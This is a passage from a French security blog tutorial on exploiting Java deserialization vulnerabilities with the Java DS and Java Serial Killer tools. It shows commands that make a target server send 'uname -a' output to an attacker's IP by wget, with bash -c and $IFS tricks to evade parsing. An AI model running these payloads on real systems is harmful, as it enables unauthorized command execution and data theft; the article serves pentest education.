<figure id="post-15746 media-15746" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15746 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9.png" alt="" width="326" height="502" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9.png 326w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9-124x191.png 124w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9-25x39.png 25w" sizes="auto, (max-width: 326px) 100vw, 326px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Méthode 2 : Java DS</h3>
</div>
<div style="text-align: justify;">À la suite de la <b>phase de détection</b>, nous savons qu’une charge utile (gadget) forgé pour <b>CommonsCollections1</b> fonctionne contre notre cible.</div>
<div style="text-align: justify;">En accédant à l’onglet « <b>Exploiting </b>» de Java DS, il est possible de créer et d’envoyer nos propres charges utiles.</div>
<div style="text-align: justify;">Par exemple, pour tenter de lancer la commande <i>uname -a</i> sur le système Unix distant (si c’est un Unix) on entrera la commande suivante :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15748 media-15748" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15748 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10.png" alt="" width="640" height="479" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10-255x191.png 255w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10-52x39.png 52w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Le serveur renvoie ici un autre objet sérialisé en réponse, ce qui ne nous permet absolument pas de savoir si notre commande a réussi ou pas, ni d’avoir sa sortie.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15750 media-15750" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15750 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11.png" alt="" width="640" height="496" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-246x191.png 246w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-155x120.png 155w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Une technique permettant de valider l&#8217;exécution réussie de nos commandes consiste à utiliser un canal auxiliaire basé sur le temps : En <b>mettant en pause le processus en cours d’exécution avec la commande Java Sleep</b>, nous pouvons <b>démontrer avec certitude que l’application est vulnérable en mesurant le temps de réponse du serveur</b>.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Une charge utile basée sur la mise en pause du processus est donc suffisante pour identifier la vulnérabilité, mais si vous avez le temps et voulez aller encore plus loin, il est <b>possible de récupérer cette sortie</b> en déployant un serveur web sur votre machine, et en requêtant votre serveur web depuis le serveur cible.</div>
<div style="text-align: justify;">Pour cela, sur votre machine d’audit, commencez par déployer un serveur web :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">python -m SimpleHTTPServer 80</span></div>
<div></div>
<div style="text-align: justify;">Et l’objectif va être de faire exécuter cette commande au serveur cible :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">wget <span class="w-grepped">ip_attaquant</span>/`uname -a | base64`</span></div>
<div></div>
<div style="text-align: justify;">L’exploit de Apache Commons Collections fait transmettre notre commande à Apache Commons <b>exec</b>.</div>
<div style="text-align: justify;">Par conséquent, les commandes sont invoquées sans avoir de shell parent, ce qui limite rapidement les actions… Mais on peut appeler un shell <b>bash </b>via Apache Commons <b>exec </b>via la commande <b>bash -c</b>.</div>
<div style="text-align: justify;">Toutefois, Apache Commons exec parse les commandes en gérant très mal les espaces&#8230; Pour résoudre ce problème, on peut utiliser 2 approches :</div>
<div style="text-align: justify;">
<ul>
<li>Utiliser les fonctions de manipulation de chaîne en bash. Par exemple, cette commande charge le résultat en base64 de la commande echo yoloswag dans la variable c, qui est ensuite ajoutée au chemin de la requête wget :</li>
</ul>
</div>
<div style="text-align: justify;"><span class="w-code">bash -c c=`{echo,yoloswag}|base64`&amp;&amp;{wget,<span class="w-grepped">ip_attaquant</span>/$c}&#8217;</span></div>
<div style="text-align: justify;">
<ul>
<li>Il est aussi possible d’utiliser la variable $IFS (séparateur de champs interne) à la place des espaces dans la commande transmise à Bash. Ici pour lancer un uname -a :</li>
</ul>
</div>
<div style="text-align: justify;"><span class="w-code">bash –c wget$IFS<span class="w-grepped">ip_attaquant</span>/`uname$IFS-a|base64`</span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Dernier point important : il peut être nécessaire d’échapper les barres obliques et les signes dollar dans certaines situations, tout dépend de la charge utile et des fonctions touchées.</div>
<div style="text-align: justify;">Ici, avec une machine d’audit ayant pour IP 54.161.175.139 :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15752 media-15752" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15752 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12.png" alt="" width="640" height="374" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-327x191.png 327w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Le résultat côté serveur web sur la machine d’audit est le suivant :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15760 media-15760" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15760 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis.png" alt="" width="640" height="32" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis-437x22.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis-71x4.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">Une requête depuis l’IP du serveur cible apparaît, vers une URL encodée en base64 et qui correspond à la sortie de la commande « <b>uname -a</b> ».</div>
<div style="text-align: justify;">En effet, après une extraction de la donnée et son décodage base64 par la commande suivante :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">tail -n1 access.log | cut -d/ -f4 | cut ‘d’’ -f1 | base64 -d</span></div>
<div></div>
<div style="text-align: justify;">Le résultat suivant apparaît :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15762 media-15762" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15762 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter.png" alt="" width="640" height="29" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter-437x20.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter-71x3.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">Vous avez donc exécuté une commande <b>uname -a</b> avec succès sur le serveur cible : vous êtes désormais un serial hacker accompli !</div>
<div style="text-align: justify;">
<figure id="post-15754 media-15754" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15754 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13.jpg" alt="" width="320" height="212" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-288x191.jpg 288w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-59x39.jpg 59w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Le maître deserializateur veut vous serrer la main</span></i></div>
</div>
<div style="text-align: justify;">
<h3>Méthode 3 : Java Serial Killer</h3>
</div>
<div style="text-align: justify;">À la suite de la <b>phase de détection</b>, nous savons qu’une charge utile (gadget) forgé pour <b>CommonsCollections1 </b>fonctionne contre notre cible.</div>
<div style="text-align: justify;">Vous pouvez alors utiliser l’extension Burp <b>Java Serial Killer</b> ; un clic-droit sur une requête POST contenant un objet Java sérialisé dans le body permet de l’envoyer à l’extension :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15756 media-15756" class="align-none">
<figure id="post-15764 media-15764" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15764 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis.png" alt="" width="640" height="229" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis-71x25.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Allez ensuite dans l’onglet Burp « Java Serial Killer » :</div>
<div style="text-align: justify;">
<figure id="post-15756 media-15756" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15756 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14.png" alt="" width="640" height="327" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14-71x36.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Cet onglet prend en entrée :</div>
<div style="text-align: justify;">
<ul>
<li>Une commande à exécuter sur le serveur cible</li>
<li>La librairie vulnérable à exploiter</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Par exemple, pour envoyer une requête ping à <b>wavestone.com</b> en utilisant le type de charge utile <b>CommonsCollections1</b>, car nous savons qu’elle fonctionne suite à la phase de détection :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15758 media-15758" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15758 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15.png" alt="" width="640" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15-71x37.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>Il est aussi possible d’encoder la charge en Base64, si c’est le format attendu par le serveur (voir la petite checkbox à droite de « Serialize »).</p>
</div>
<h2 style="text-align: justify;">Conclusion</h2>
<div style="text-align: justify;">Vous avez désormais les bases théoriques permettant de comprendre les vulnérabilités liées à la désérialisation en Java, et les techniques et outillages pratiques permettant de les exploiter dans les librairies les plus connues, sans connaissance préalable du code applicatif.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Toutefois, il est à garder en tête que ces librairies ne sont pas utilisées dans 100% des cas de désérialisation, comme vu dans le chapitre « Exemple d’attaque : Compromission de compte utilisateur », où la vulnérabilité exploitée n’impliquait d’ailleurs même pas l&#8217;envoi de code au serveur à exécuter. Les exploits plus spécifiques reposent donc énormément sur la connaissance du code (ou l’ingénierie inverse sur ce code) qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Par ailleurs, la sérialisation/désérialisation n’est pas un concept exclusif à Java, et se retrouve dans de nombreux autres langages de programmation, notamment :</div>
<div style="text-align: justify;">
<ul>
<li><b>Python : </b>pickling / unpickling</li>
<li><b>PHP : </b>serializing / deserializing</li>
<li><b>Ruby : </b>marshalling / unmarshalling</li>
<li>…</li>
</ul>
</div>
<div style="text-align: justify;">La méthodologie globale reste la même, mais les outils peuvent varier (<b>Freddy </b>à la place de <b>ysoserial </b>pour les moteurs de désérialisation XML par exemple…).</div>
<div style="text-align: justify;">La cheatsheet suivante peut donner de bonnes pistes d’audit pour ces autres langages et technologies :</div>
<div style="text-align: justify;"><a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md">https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md</a>.</div>
<div></div>
<h3 style="text-align: justify;">Sources et références pour approfondir le sujet</h3>
<div style="text-align: justify;">Article Nytro sur la désérialisation Java</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/">https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/</a></li>
</ul>
</div>
<div style="text-align: justify;">Article de Synopsys expliquant comment exfiltrer de la donnée via la désérialisation Java et contourner les principales limitations techniques que l’on peut rencontrer</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf">https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf</a></li>
</ul>
</div>
<div style="text-align: justify;">Cheatsheet pour la désérialisation Java</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet">https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet</a></li>
</ul>
</div>
<div style="text-align: justify;">La désérialisation Java avec Burp</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://blog.netspi.com/java-deserialization-attacks-burp/">https://blog.netspi.com/java-deserialization-attacks-burp/</a></li>
</ul>
</div>
<div style="text-align: justify;">Article complet expliquant la désérialisation Java et listant plusieurs outils dédiés</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/">https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/</a></li>
</ul>
</div>
<div style="text-align: justify;">Liste de recommandations sur l’usage de la désérialisation pour divers langages</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md">https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk d’Insomnia sur la désérialisation pour plusieurs langages à l’OWASP New Zealand Day 2016</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://insomniasec.com/cdn-assets/Deserialization_-__What_Could_Go_Wrong.pdf">https://insomniasec.com/cdn-assets/Deserialization_-__What_Could_Go_Wrong.pdf</a></li>
</ul>
</div>
<div style="text-align: justify;">Exploitation de vulnérabilités de désérialisation Java dans des environnements sécurisés (systèmes avec pare-feu, Java mis à jour)</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html">https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html</a></li>
</ul>
</div>
<div style="text-align: justify;">Exploiter la désérialisation Java en aveugle avec Burp et Ysoserial</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/">https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/</a></li>
</ul>
</div>
<div style="text-align: justify;">Write-up du challenge Webgoat 8 (application d’entraînement développée par l’OWASP) d’exploitation d’une vulnérabilité de désérialisation non sécurisée</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef">https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef</a></li>
</ul>
</div>
<div style="text-align: justify;">Article d’un reverse engineer de Tenable expliquant l’analyse de la  CVE-2016-3737, et l’écriture de gadgets pour Jython</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://fr.tenable.com/blog/expanding-on-a-known-vulnerability-attacking-with-jython">https://fr.tenable.com/blog/expanding-on-a-known-vulnerability-attacking-with-jython</a></li>
</ul>
</div>
<div style="text-align: justify;">Cours Java sur l’implémentation d’une classe sérialisable</div>
<div style="text-align: justify;">
<ul>
<li><a href="http://www.javapractices.com/topic/TopicAction.do?Id=45">http://www.javapractices.com/topic/TopicAction.do?Id=45</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk d’Alvaro Munoz (@pwntester) et Christian Schneider (@cschneider4711) à l’OWASP AppSecEU 2016 sur les vulnérabilités de désérialisation de la JVM et comment s’en protéger</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://fr.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016">https://fr.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk de Chris Frohoff (@frohoff) et Gabriel Lawrence (@gebl) à l’OWASP San Diego sur la désérialisation Java</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization">https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization</a></li>
</ul>
</div>
<div style="text-align: justify;">Analyse de l’attaque d’Equifax (143 millions de clients touchés aux USA) en 2017 par @brandur, reposant sur le chaînage de gadgets</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://brandur.org/fragments/gadgets-and-chains">https://brandur.org/fragments/gadgets-and-chains</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk de Matthias Kaiser (@matthias_kaiser) à la HackPra WS 2015 sur l’exploitation de vulnérabilités de désérialisation non-sécurisée</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://fr.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478">https://fr.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478</a></li>
</ul>
</div>
<div style="text-align: justify;">Article de Ian Haken sur la découverte automatisée de chaînes de gadgets, notamment avec Gadget Inspector</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf">https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf</a></li>
</ul>
</div>
<div style="text-align: justify;">Article de @breenmachine de 2015 sur la désérialisation Java dans plusieurs technologies du marché et détail de 5 exploits (websphere, jboss, jenkins, weblogic et openNMS)</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/">https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/</a></li>
</ul>
</div>
<div style="text-align: justify;"></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/07/techniques-outils-deserialisation-java/">Techniques et outils d’attaque sur les moteurs de désérialisation (Java)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
